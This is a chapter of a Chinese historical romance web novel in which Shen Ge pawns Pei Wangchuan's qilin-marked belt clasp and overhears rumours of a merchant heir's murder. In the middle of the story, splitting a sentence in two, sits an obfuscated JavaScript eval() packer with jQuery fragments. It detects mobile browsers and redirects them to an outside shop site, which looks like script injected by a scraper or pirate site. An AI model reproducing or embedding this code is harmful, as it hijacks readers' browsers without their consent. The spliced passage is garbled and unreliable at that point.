马车车厢不大,裴忘川靠着车窗,似是闭目假寐。
身侧的沈歌仍旧虚弱,她不知裴忘川究竟听得了多少,也知此人心里定是有气的:“想骂便骂吧。”
裴忘川纹丝不动。
沈歌从棉被里伸出根手指,戳了戳他:“喂,死了吗?”
裴忘川不悦开口:“骂你什么?是骂你‘大公无私’地为我寻养病去处,还是骂你们背后嚼舌根?”
沈歌听了这话,当下就料到了裴忘川只听到了后半句,顿时松了口气:“苏老板同你讲了?”
裴忘川侧头:“沈歌,我不需你和你那老相好有多好心,我也不会在此地多做停留,大可不必如此劳心。”
什么玩意儿的老相好?还有这话说的跟沈歌咸吃萝卜淡操心一样,正在她要同裴忘川理论几句时,昏暗的长街上,竟突然响起了一阵哨音,沈歌突地想起什么,掀开车帘:“阿吉,我们到哪了?”
阿吉回头:“沈公子,就快到东巷了,出了东巷就是往江宁县的大路。”
沈歌问道:“东巷可有个广源客栈?”
阿吉:“确是有,前边就是了。”
沈歌:“好,那你靠边停下。”
可沈歌刚下马车,就见广源客栈的门前乌压压围堵了不少官兵,带刀盘查着来往的住客和食客,沈歌裹着披风从侧边钻了进去,走到柜台前:“小二,你这儿发生何事了?”
那小二头上冒汗,一脸惊恐:“公子你不知吗?我们这里……”可刚说半句,就又停了下来,“无事无事,请问这位公子是要吃饭还是住店,不巧,我们今日怕是开不了张了。”
“都不是,我要寻人,是一个……”
沈歌刚说半句,就被小二急忙制止:“哎呦快别说了公子,这会儿可不是寻人的好时候,我劝你还是快快回去吧,最近这应天府怕是要闹上一阵呢。”说着他就惊惶地看了看楼上,似乎上边有着什么令他极度恐惧之物。
沈歌心下思量,面色如常地笑着回道:“多谢提醒了。”说罢便出了门,可她刚一上马车,方才强装的镇定就都烟消云散了,转而是无尽的后怕。
她侧头看了看身旁毫不知情的裴忘川,手中的指甲死死掐着皮肉,不知该怎么办。
“阿吉,快走吧,回头顺便帮我给苏老板带封信。”沈歌愁眉不展。
她担心这些官兵就是来寻裴忘川的,更怕因此连累了苏晚娘,因此需得嘱咐她几句。可是,裴忘川是在江宁县失踪的,为何这些人要在应天府内城搜寻?莫不是还有旁的大案发生?沈歌暂时不能下定论。
不过,眼下最要紧的就是让裴忘川赶紧恢复,早走早安心。如此思索了一路,没等她琢磨出个结果,马车便到家了。
沈明珠老早就在门口等着了,见着沈歌和裴忘川一同回来,当下就高兴地直跺脚。
看着沈明珠蹦跳的模样,风寒的沈歌也觉得心情有了几分松快,可是眼下她还需得考虑考虑活计,现在看来裴忘川是出不了门了,她身体没好也摆不成摊子,但这一家三口可还是要吃饭的呀!
如此,将书信拿给阿吉打发他走之后,沈歌便又一人坐在了院中,思考着赚钱之道。
“拿着。”不知何时,裴忘川由沈明珠领着,走到了沈歌身后,将一束腰的丝绦递给她。
沈歌接过,见那丝绦中间的绦环竟是块金镶宝玉,上有麒麟纹路:“这是?”
裴忘川坐下:“拿去卖了。”
沈歌翻看着那绦环,见背后还刻着一“裴”字,而男子行冠礼,父亲大多都会送一身成年行头以表期许,特别是绦环,或贵或贱也多会刻着姓氏。
沈歌放下:“你可舍得?”
裴忘川没有任何表情:“为何不舍?”
沈歌思量:“留着吧,明日我出去摆个摊就够我们一家三口吃喝了。”
沈歌因着还在发热,所以脑子里还有些浆糊,也没觉得自己说的话有丝毫不妥,可听到这话的裴忘川却是突然一怔。
一丝不知所谓的暖意爬上心头,裴忘川想说些什么,但张了张嘴,却又换了个话题:“还摆什么摊?打几个板子就晕厥过去的人,能扛得到几时?”
沈歌一听这话愣了,她望了沈明珠一眼,当下便知裴忘川已知晓了一切,转而笑了两声:“你还有脸提呢?”
的确,关于此事是他裴忘川先对不住沈歌的。
可裴忘川没有躲避:“错了便是错了,有何不敢提?”
沈歌:“那你当初为何就坚信是我干的?”
裴忘川:“我并没有坚信。”
沈歌不解:“那你还下令打我板子?”
裴忘川呼了口气:“这世上女子多有不易,生存艰难守护尊严更是艰难,除非是逼不得已,否则大多数人面对不好搬上台面且无实在证据的猥亵调戏,都是一忍再忍,故而有人能冒着名誉受损的风险报官,那必然是要管的。”
说到这儿,裴忘川自嘲般地轻笑一声,摇了摇头:“那时候你一直喊着‘无凭无据’,这种脱罪说辞我听得多了,一时按了经验办事,这才命人打了你,现在看来,”裴忘川侧头,面向沈歌,“我这经验也有坏事的一天。”
这人竟也有主动承认错误的一面?
沈歌低头,碎发从耳侧划过,遮住了弯起的眉眼,她看着手中的绦环:“那我收下了。”
不论是这个绦环,还是你的道歉。
-
沈歌没有多歇,稍休歇了一天便准备动身去当绦环,裴忘川叮嘱她不要去大当铺,找一些小门面的押店就行了,也无需或比三家,随便一个店都能给出不错的价格,虽然他没有明说,但沈歌也自是知道,麒麟这个图案不是一般官宦人家能用的了的,但她也没有点明。
无论他裴忘川是何身份,都与沈歌无关,数日之后,便会分道扬鞭了,云泥之别的境遇,有过三两日的交集已是稀奇。
如此想着,沈歌带着点干粮就出发了,因着做小押店生意的也都不在铁心村,江宁县县城也自是不敢去,所以沈歌预计她可能要走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790391|210364||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个一日,加上来回的脚程,两日最多了。她之前从不会离家这么久,只因放心不下沈明珠,但现在有裴忘川在,她也就没那么担心了。
而另一边,裴忘川的眼睛就如同那郎中预料的一般,一日比一日好的快,不曾想竟不到他说的最快三日的期限,仅过了一日半他便能在日光不刺眼的时候摘下纱布了。
沈歌已走了大半日了,黄昏下,火红的晚霞映着这破落小院,裴忘川环视四周,视线中渐渐出现了物体的大致轮廓——几乎是巴掌大的院子,夯土院墙,棚房下依旧摆着他劈柴的摊子……穷困而又平常百姓的住所。
裴忘川坐在院中,不知在思索着什么。
沈明珠从灶屋出来,见裴忘川已经能睁眼了,忙屁颠屁颠地跑过去,凑在他身边十分好奇地看着他,没人见过裴忘川的眼睛,也不知他正常会是什么样,沈明珠勾头仔细看着——
裴忘川的那双眼生得极好,眼型狭长,瞳色如墨,不过那墨色是冷寂的,如寒潭落石,让人看不出其中深意,仿若生来就将原本欲望压制在了深处,只为目标而活。
裴忘川看到了晾衣绳上沈歌的外衣,也见到了最初时他踩塌的墙头。
须臾时光,这些闲散日子也要结束了。
裴忘川的眸色渐渐沉了下来——接下来,便是要将那贼人一一清算,幕后之人也要揪出在这日光下晒上一晒,还有……
一瞬间的荒诞想法划过裴忘川心头,还有就是,见见沈歌。
-
“阿嚏!”
沈歌打了个喷嚏,风寒尚未痊愈,她已走了十几里了,但一路上这押店不是没开门,就是因着付不出这宝玉绦环钱而赶她走了,以至于她一路上除了磨破了一只脚以外,没得半点收获。
担心钱财招惹贼人,沈歌故意找栓柱娘借了一身最破的短衣,此时正坐在隔壁县县城的某个街头,啃着干粮饼子。
江宁县穷,周边县也不甚富裕,就连这县城街头都没几个摊贩。
沈歌嘴里嚼着饼子,耳朵一边听着旁边树下几个脚夫的闲聊。
“你今天扛了几次活计?”
“哎别提了,来回在这街面上转悠了几趟了,都没个人喊我!”
“不应该呀,我今日也是如此,按理说现在这月份也到了卖粮的时节了,怎么那些粮贩都不见动静?”
几个人互相抱怨着,其中一个看起来上了些年岁的脚夫谨慎地往四周看了看,低声招呼着那几人凑近,近旁背着身子的沈歌也不由得更加竖起了耳朵。
“你们不知道,听说是应天府出大事了!”
“啊?什么大事?”
“你们可曾听过义丰商号?”
“义丰商号?就是那个常在边塞同瓦剌打交道的商队吗?听过听过,他们家的生意做的可大了。”
“对就是那个商号,我远房堂弟在应天府府衙当过值,听他说那义丰商号的少东家被人给杀了,可凄惨了!”
听到这里,沈歌吃饼的动作突然顿住了。